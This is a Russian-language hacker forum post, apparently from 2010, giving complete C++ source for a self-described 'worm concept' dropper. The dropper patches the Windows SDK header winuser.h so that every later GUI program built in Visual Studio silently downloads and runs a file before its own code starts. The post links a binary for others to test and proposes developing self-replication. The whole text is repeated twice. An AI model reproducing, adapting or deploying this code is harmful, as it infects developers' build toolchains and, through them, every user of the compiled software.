sn0w
14.01.2010, 15:52
вот решил погимориться и наваял. правда это не совсем червь пока - просто дроппер, суть заключена в том что в стандартные хидеры SDK добавляется код download & exec, переназначается точка входа и любая далее написанная прога (после заражения) в данной версии будет сливать шапку mail.ru и только потом работать сама.
правда сей стафф не попрет если гдето в проге есть переназначение /ENTRY.
кто хочет затестить - запускаем бинарник ( http://www.rapidshare.ru/1332796 ) далее пробуем пересобрать любой прожект (кроме длл атл и консоли)
при удачном исходе - в папке проге будет появляться хтмл файл.
предлагаю тему в разработку в целях обучения квайнкодингу - для самогенерации)
/*************************************************/
/* */
/* visual studio 2008 C++ worm concept by sn0w */
/* copyright (c) 2010, antichat.ru community */
/* */
/*************************************************/
/****** for educational purposes only ******/
/***** лишь в ознакомительных целях *****/
// стандартные инклуды, объединение секций, оптимизация и назначение точки входа
// чтобы не использовать C-Runtime
#include <windows.h>
#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(linker,"/SECTION:.data,ERW")
#pragma comment(linker, "/ENTRY:WinMain")
// какбы сократил разделитель строк для записи в файл
#define CRLF "\r\n"
// массив, содержащий код который будет записан в winuser.h
char dev_c0de[] =
"#ifndef _CONSOLE"CRLF // #ifndef - то что не объявлено, те мы будем использовать наш код
"#ifndef _USRDLL"CRLF // только в тех случаях, когда - это не консоль, не длл, не атл и не отладочная версия
"#ifndef _ATL_DLL"CRLF
"#ifndef _DEBUG"CRLF
"#pragma once"CRLF // включаем заголовки единожды, чтобы не было палева и конфликтов
"#ifndef _WINREG_"CRLF
"#include \"winreg.h\""CRLF // это лишнее, поскольку реестром не юзаемся (предидущие версии)
"#endif"CRLF
"#ifndef _WININET_"CRLF //
"#include \"wininet.h\""CRLF // ужно для функций download
"#endif"CRLF
"#pragma comment(lib,\"wininet\")"CRLF // тут мы подключаем вининет для реализации скачки
"#pragma comment(linker, \"/ENTRY:crtinit12\")"CRLF // тут перенаправляем точку входа в программе (1st goal)
// т.о. вместо оригинальной, мы замещаем ее своей, которая будет вызвана ранее чем startup код
"extern \"C\" void __cdecl WinMainCRTStartup(void);"CRLF // это ссылка на юзерскую WinMain
"extern \"C\" void __cdecl __security_init_cookie(void);"CRLF // а это - не преинит, обеспечивающий обработку исключений
//////////////////////////////////////////////////////////////////////////
// эта функция осуществляет скачку и запуск файла с инета
"void call_drop_()"CRLF
"{"CRLF
"LPCSTR szAccept[] = {\"*/*\", NULL};"CRLF
"LPCSTR szUserAgent = \"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\";"CRLF
"HANDLE hheap = GetProcessHeap();"CRLF
"HINTERNET hInternet = InternetOpen(szUserAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);"CRLF
"DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE;"CRLF
"HINTERNET hConnect = InternetConnect(hInternet, \"mail.ru\", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);"CRLF
"HINTERNET hRequest = HttpOpenRequest(hConnect, \"GET\", \"/\", NULL, NULL, szAccept, flags, 0);"CRLF
"HttpSendRequest(hRequest, 0, 0, NULL, 0);"CRLF
"LPVOID outbuff = HeapAlloc(hheap, HEAP_ZERO_MEMORY, 4096);"CRLF
"LPVOID p = outbuff;"CRLF
"DWORD size = 0, curr = 0;"CRLF
"while(InternetReadFile(hRequest, p, 4096, &curr)==TRUE && curr !=0){"CRLF
"size += curr;"CRLF
"outbuff = HeapReAlloc(hheap, 0, outbuff, size + 4096);"CRLF
"p = (LPVOID)((DWORD)outbuff+size);}"CRLF
"InternetCloseHandle(hRequest);"CRLF
"InternetCloseHandle(hConnect);"CRLF
"InternetCloseHandle(hInternet);"CRLF
"#define F_NAME \"head.html\""CRLF
"HANDLE hfile = CreateFileA(F_NAME, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS,0, NULL);"CRLF
"WriteFile(hfile, outbuff, size, &size, NULL);"CRLF
"CloseHandle(hfile);"CRLF
"HeapFree(hheap,0 ,outbuff);"CRLF
"WinExec(F_NAME, SW_SHOWNORMAL);"CRLF
"Sleep(2000);"CRLF
"//DeleteFile(F_NAME);"CRLF
"}"CRLF
//////////////////////////////////////////////////////////////////////////
// это как говорилось - тело редиректа. при запуске сперва будут отработаны именно эти инструкции
"void APIENTRY crtinit12(void)"CRLF
"{"CRLF
"call_drop_();"CRLF // вызываем нащ дроппер
"__security_init_cookie();"CRLF // инициализируем систему исключений
"WinMainCRTStartup();"CRLF // вызываем оригинальную программу
"}"CRLF
//////////////////////////////////////////////////////////////////////////
"#endif"CRLF
"#endif"CRLF
"#endif"CRLF
"#endif"CRLF
"#endif /* !_WINUSER_ */"CRLF;
/////////////////////////////////////////////////////////////
// подпрограмма установки:
//
// ищем в реестре установлена или не т СДК (признак наличия визуал студии)
//
void setup_me()
{
HKEY hk;
char szDataBuf[256];
char sz_winuser_h[256];
DWORD dwSize;
if(RegOpenKey(HKEY_CURRENT_USER, "software\\microsoft\\microsoft sdks\\windows", &hk)!=ERROR_SUCCESS)
return; // abort, no sdk available, or no approp rights
dwSize = 256;
if(RegQueryValueEx(hk, "CurrentInstallFolder", NULL, NULL, (LPBYTE)szDataBuf, &dwSize)!=ERROR_SUCCESS){
RegCloseKey(hk);
return; // abort, couldnt retrieve sdk path
}
RegCloseKey(hk);
// да, она есть, теперь формируем полный путь к winuser.h
lstrcpy(sz_winuser_h, szDataBuf);
lstrcat(sz_winuser_h, "include\\winuser.h");
// 2. Now open winuser.h and write our code
HANDLE hwinh = CreateFileA(sz_winuser_h, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SH ARE_WRITE,
0,OPEN_EXISTING, 0, NULL);
if(hwinh == INVALID_HANDLE_VALUE)
return; // cant open
// да он есть, открыли, и проецируем в память для удобства
HANDLE hmap = CreateFileMappingA(hwinh, 0, PAGE_READWRITE, 0, 462759, 0);
if(hmap == NULL){
CloseHandle(hwinh);
return; // cant map
}
LPVOID lpmem = MapViewOfFile(hmap,FILE_MAP_ALL_ACCESS,0,0,0);
if(lpmem == NULL){
CloseHandle(hmap);
CloseHandle(hwinh);
return;
} // cant map
LPBYTE bytes = (LPBYTE)lpmem;
// теперь проверяем, заражен ли он уже? признак - 6й байт файла - точка
// check watermark
if(bytes[5]=='.'){ // already infected
UnmapViewOfFile(lpmem);
CloseHandle(hmap);
CloseHandle(hwinh);
return; // уже заражен
}
// продолжаем работу, - маркируем как инфицированный
// mark as infected and write code
bytes[5] = '.';
// а теперь едем в конец файла и сдвигаемся назад до символа #
// для того чтобы найти последнюю #endif и вписаться за ней
//roll to the end (zeroes)
char *edittarget;
DWORD *fast_roll = (LPDWORD)bytes;
while(*fast_roll!=0)fast_roll+=sizeof(DWORD);
edittarget = (char*)fast_roll+4;
while(*edittarget!='#')edittarget--;
// нашли, и теперь полностью переписываем туда наш массив с девкодом
// now finally write stuff
for(int i=0; i< sizeof(dev_c0de); i++)
edittarget[i] = dev_c0de[i];
UnmapViewOfFile(lpmem);
CloseHandle(hmap);
CloseHandle(hwinh);
// инфицирование завершено
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
setup_me();
return 0;
}
правда сей стафф не попрет если гдето в проге есть переназначение /ENTRY.
кто хочет затестить - запускаем бинарник ( http://www.rapidshare.ru/1332796 ) далее пробуем пересобрать любой прожект (кроме длл атл и консоли)
при удачном исходе - в папке проге будет появляться хтмл файл.
предлагаю тему в разработку в целях обучения квайнкодингу - для самогенерации)
/*************************************************/
/* */
/* visual studio 2008 C++ worm concept by sn0w */
/* copyright (c) 2010, antichat.ru community */
/* */
/*************************************************/
/****** for educational purposes only ******/
/***** лишь в ознакомительных целях *****/
// стандартные инклуды, объединение секций, оптимизация и назначение точки входа
// чтобы не использовать C-Runtime
#include <windows.h>
#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(linker,"/SECTION:.data,ERW")
#pragma comment(linker, "/ENTRY:WinMain")
// какбы сократил разделитель строк для записи в файл
#define CRLF "\r\n"
// массив, содержащий код который будет записан в winuser.h
char dev_c0de[] =
"#ifndef _CONSOLE"CRLF // #ifndef - то что не объявлено, те мы будем использовать наш код
"#ifndef _USRDLL"CRLF // только в тех случаях, когда - это не консоль, не длл, не атл и не отладочная версия
"#ifndef _ATL_DLL"CRLF
"#ifndef _DEBUG"CRLF
"#pragma once"CRLF // включаем заголовки единожды, чтобы не было палева и конфликтов
"#ifndef _WINREG_"CRLF
"#include \"winreg.h\""CRLF // это лишнее, поскольку реестром не юзаемся (предидущие версии)
"#endif"CRLF
"#ifndef _WININET_"CRLF //
"#include \"wininet.h\""CRLF // ужно для функций download
"#endif"CRLF
"#pragma comment(lib,\"wininet\")"CRLF // тут мы подключаем вининет для реализации скачки
"#pragma comment(linker, \"/ENTRY:crtinit12\")"CRLF // тут перенаправляем точку входа в программе (1st goal)
// т.о. вместо оригинальной, мы замещаем ее своей, которая будет вызвана ранее чем startup код
"extern \"C\" void __cdecl WinMainCRTStartup(void);"CRLF // это ссылка на юзерскую WinMain
"extern \"C\" void __cdecl __security_init_cookie(void);"CRLF // а это - не преинит, обеспечивающий обработку исключений
//////////////////////////////////////////////////////////////////////////
// эта функция осуществляет скачку и запуск файла с инета
"void call_drop_()"CRLF
"{"CRLF
"LPCSTR szAccept[] = {\"*/*\", NULL};"CRLF
"LPCSTR szUserAgent = \"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\";"CRLF
"HANDLE hheap = GetProcessHeap();"CRLF
"HINTERNET hInternet = InternetOpen(szUserAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);"CRLF
"DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE;"CRLF
"HINTERNET hConnect = InternetConnect(hInternet, \"mail.ru\", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);"CRLF
"HINTERNET hRequest = HttpOpenRequest(hConnect, \"GET\", \"/\", NULL, NULL, szAccept, flags, 0);"CRLF
"HttpSendRequest(hRequest, 0, 0, NULL, 0);"CRLF
"LPVOID outbuff = HeapAlloc(hheap, HEAP_ZERO_MEMORY, 4096);"CRLF
"LPVOID p = outbuff;"CRLF
"DWORD size = 0, curr = 0;"CRLF
"while(InternetReadFile(hRequest, p, 4096, &curr)==TRUE && curr !=0){"CRLF
"size += curr;"CRLF
"outbuff = HeapReAlloc(hheap, 0, outbuff, size + 4096);"CRLF
"p = (LPVOID)((DWORD)outbuff+size);}"CRLF
"InternetCloseHandle(hRequest);"CRLF
"InternetCloseHandle(hConnect);"CRLF
"InternetCloseHandle(hInternet);"CRLF
"#define F_NAME \"head.html\""CRLF
"HANDLE hfile = CreateFileA(F_NAME, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS,0, NULL);"CRLF
"WriteFile(hfile, outbuff, size, &size, NULL);"CRLF
"CloseHandle(hfile);"CRLF
"HeapFree(hheap,0 ,outbuff);"CRLF
"WinExec(F_NAME, SW_SHOWNORMAL);"CRLF
"Sleep(2000);"CRLF
"//DeleteFile(F_NAME);"CRLF
"}"CRLF
//////////////////////////////////////////////////////////////////////////
// это как говорилось - тело редиректа. при запуске сперва будут отработаны именно эти инструкции
"void APIENTRY crtinit12(void)"CRLF
"{"CRLF
"call_drop_();"CRLF // вызываем нащ дроппер
"__security_init_cookie();"CRLF // инициализируем систему исключений
"WinMainCRTStartup();"CRLF // вызываем оригинальную программу
"}"CRLF
//////////////////////////////////////////////////////////////////////////
"#endif"CRLF
"#endif"CRLF
"#endif"CRLF
"#endif"CRLF
"#endif /* !_WINUSER_ */"CRLF;
/////////////////////////////////////////////////////////////
// подпрограмма установки:
//
// ищем в реестре установлена или не т СДК (признак наличия визуал студии)
//
void setup_me()
{
HKEY hk;
char szDataBuf[256];
char sz_winuser_h[256];
DWORD dwSize;
if(RegOpenKey(HKEY_CURRENT_USER, "software\\microsoft\\microsoft sdks\\windows", &hk)!=ERROR_SUCCESS)
return; // abort, no sdk available, or no approp rights
dwSize = 256;
if(RegQueryValueEx(hk, "CurrentInstallFolder", NULL, NULL, (LPBYTE)szDataBuf, &dwSize)!=ERROR_SUCCESS){
RegCloseKey(hk);
return; // abort, couldnt retrieve sdk path
}
RegCloseKey(hk);
// да, она есть, теперь формируем полный путь к winuser.h
lstrcpy(sz_winuser_h, szDataBuf);
lstrcat(sz_winuser_h, "include\\winuser.h");
// 2. Now open winuser.h and write our code
HANDLE hwinh = CreateFileA(sz_winuser_h, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SH ARE_WRITE,
0,OPEN_EXISTING, 0, NULL);
if(hwinh == INVALID_HANDLE_VALUE)
return; // cant open
// да он есть, открыли, и проецируем в память для удобства
HANDLE hmap = CreateFileMappingA(hwinh, 0, PAGE_READWRITE, 0, 462759, 0);
if(hmap == NULL){
CloseHandle(hwinh);
return; // cant map
}
LPVOID lpmem = MapViewOfFile(hmap,FILE_MAP_ALL_ACCESS,0,0,0);
if(lpmem == NULL){
CloseHandle(hmap);
CloseHandle(hwinh);
return;
} // cant map
LPBYTE bytes = (LPBYTE)lpmem;
// теперь проверяем, заражен ли он уже? признак - 6й байт файла - точка
// check watermark
if(bytes[5]=='.'){ // already infected
UnmapViewOfFile(lpmem);
CloseHandle(hmap);
CloseHandle(hwinh);
return; // уже заражен
}
// продолжаем работу, - маркируем как инфицированный
// mark as infected and write code
bytes[5] = '.';
// а теперь едем в конец файла и сдвигаемся назад до символа #
// для того чтобы найти последнюю #endif и вписаться за ней
//roll to the end (zeroes)
char *edittarget;
DWORD *fast_roll = (LPDWORD)bytes;
while(*fast_roll!=0)fast_roll+=sizeof(DWORD);
edittarget = (char*)fast_roll+4;
while(*edittarget!='#')edittarget--;
// нашли, и теперь полностью переписываем туда наш массив с девкодом
// now finally write stuff
for(int i=0; i< sizeof(dev_c0de); i++)
edittarget[i] = dev_c0de[i];
UnmapViewOfFile(lpmem);
CloseHandle(hmap);
CloseHandle(hwinh);
// инфицирование завершено
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
setup_me();
return 0;
}